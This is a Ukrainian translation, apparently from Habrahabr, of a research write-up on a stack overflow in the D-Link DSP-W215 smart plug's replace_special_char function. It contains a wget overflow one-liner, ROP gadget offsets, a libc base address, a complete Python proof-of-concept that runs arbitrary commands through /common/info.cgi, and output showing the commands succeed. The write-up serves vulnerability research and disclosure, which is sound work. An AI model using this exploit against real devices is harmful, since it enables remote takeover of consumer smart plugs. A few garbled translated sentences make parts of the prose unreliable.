зламувати D-Link DSP-W215 Smart Plug. Знову і знову

      Ось ми знову і знову.
 image
 
В останньому експлоїт до DSP-W215 я говорив, щоб функція get_input_entries не падала, потрібно використовувати ім'я «storage_path» в POST-запиті. Так треба було зробити через те, що є ще одне переповнення буфера, на цей раз у функції get_input_entries, яку викликає get_input_entries, якщо ім'я пост параметра відмінно від «storage_path» або «path»:
 image
 
У функцію replace_special_char передається один аргумент — покажчик на оброблюване POST-значення:
 image
 
Ця функція займається декодуванням URL:
 image
 
Щоб декодувати URL, функція отримує довжину рядка POST-значення, яку передає get_input_entries:
 image
 post_value_length = strlen (post_data);
 
І здійснює цикл через всі байти post_value_length:
 image
 
На кожній ітерації, функція зберігає один розкодований (urldecoded) байт, або, якщо декодування не було потрібно, вихідний байт POST-значення в локальну змінну decode_buf на стеку:
 image
 
По суті, робить ось це:
 
void replace_special_char(char *post_data)
{
    char decode_buf[0x258];
    int post_value_length, i = 0, j = 0;
 
    memset(decode_buf, 0, sizeof(decode_buf));
 
    post_value_length = strlen(post_data);
 
    while(i < post_value_length)
    {
        /*
         * ...
         * If post_data[i] == '%', then it's URL encoded; try to decode it here
         * (as long as the POST data isn't URL encoded, this code does nothing,
         * so it's not shown).
         * ...
         */
 
        // No bounds checking on index j!
        decode_buf[j] = post_data[i];
        j++;
        i++;
    }
 
    ...
 
    return;
}

 
Якщо ми подивимося на стек replace_special_char, ми побачимо, що POST-значення довжиною більше, ніж 612 байт, переповнить весь стек до першого збереженого регістра ($ s0), а ще 36 байт переповнять збережений адресу повернення ($ ra).
 image
 
 
# Overflow $ra with 0x42424242
wget --post-data="foo=$(perl -e 'print "A"x648; print "B"x4')" http://192.168.0.60/common/info.cgi

 
 image
 $ ra = 0 × 42424242
 
Через те, що декодуючий цикл використовує strlen для визначення необхідної кількості байтдля копіювання в decode_buf, ми повинні пам'ятати про обмеження на використання NULL-байта в POST-запиті. Це означає, що адреса повернення, який ми використовували в попередніх експлойтів, не працюватиме, тому що він запит містить NULL-байт, але ми можемо виконати ROP в libc для досягнення такого ж ефекту.
 
Усередині libc, по зсуву 0xBA50, знаходиться gadget, який вказує на регістр $ a1 на стеку (на $ sp +0 xB8, якщо бути точним), а потім стрибає на якусь адресу, який він отримує з регістра $ s1:
 image
 Перший ROP gadget
 
Якщо ми перезапишіть $ s1 адресою зі зміщенням 0 × 34 640 під час переповнення буфера, то виконання програми перестрибне на наступний gadget, який покладе регістр $ a1 в $ a0 (регістр з першим аргументом функції) і викличе функцію, адреса якої знаходиться в $ s0:
 image
 Другий ROP gadget
 
Отже, ми переконалися, що $ s0 вказує на функцію system () (по зсуву 0x4BC80 в libc), значить, ми можемо викликати system () з покажчиком на стек:
 
system($sp+0xB8);

 
Після додавання базової адреси libc (0x2AB61000) до всіх зсувам, ми можемо написати і протестувати PoC для цієї уразливості:
 
#!/usr/bin/env python
# Exploits overflow in replace_special_char.
 
import sys
import urllib2
 
try:
    target = sys.argv[1]
    command = sys.argv[2]
except:
    print "Usage: %s <target> <command>" % sys.argv[0]
    sys.exit(1)
 
url = "http://%s/common/info.cgi" % target
 
buf =  "foo="               # POST parameter name can be anything
buf += "E" * 612            # Stack filler
buf += "\x2A\xBA\xCC\x80"   # $s0, address of system()
buf += "\x2A\xB9\x56\x40"   # $s1, address of ROP2
buf += "F" * 4              # $s2, don't care
buf += "F" * 4              # $s3, address of ROP2
buf += "F" * 4              # $s4, don't care
buf += "F" * 4              # $s5, address of ROP3
buf += "F" * 4              # $s6, don't care
buf += "F" * 4              # $s7, don't care
buf += "F" * 4              # $fp, don't care
buf += "\x2A\xB6\xCA\x50"   # $ra, address of ROP1
buf += "G" * 0xB8           # Stack filler
buf += command              # Command to execute
 
req = urllib2.Request(url, buf)
print urllib2.urlopen(req).read()

 
Як і раніше, ми можемо виконувати будь-які команди і отримувати відповідь:
 
$ ./exploit2.py 192.168.0.60 'ls -l /'
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 bin
drwxrwxr-x    3 1000     1000         4096 May 22 18:03 dev
drwxrwxr-x    3 1000     1000         4096 Sep  3  2010 etc
drwxrwxr-x    3 1000     1000         4096 May 16 09:01 lib
drwxr-xr-x    3 1000     1000         4096 May 16 09:01 libexec
lrwxrwxrwx    1 1000     1000           11 May 17 15:20 linuxrc -> bin/busybox
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 lost+found
drwxrwxr-x    6 1000     1000         4096 May 17 15:15 mnt
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 mydlink
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 proc
drwxrwxr-x    2 1000     1000         4096 May 17 17:23 root
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 sbin
drwxrwxrwx    3 1000     1000         4096 May 22 19:18 tmp
drwxrwxr-x    7 1000     1000         4096 May 16 09:01 usr
drwxrwxr-x    3 1000     1000         4096 May 17 15:21 var
-rw-r--r--    1 1000     1000           17 May 16 09:01 version
drwxrwxr-x    6 1000     1000         4096 May 22 17:15 www

  
Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.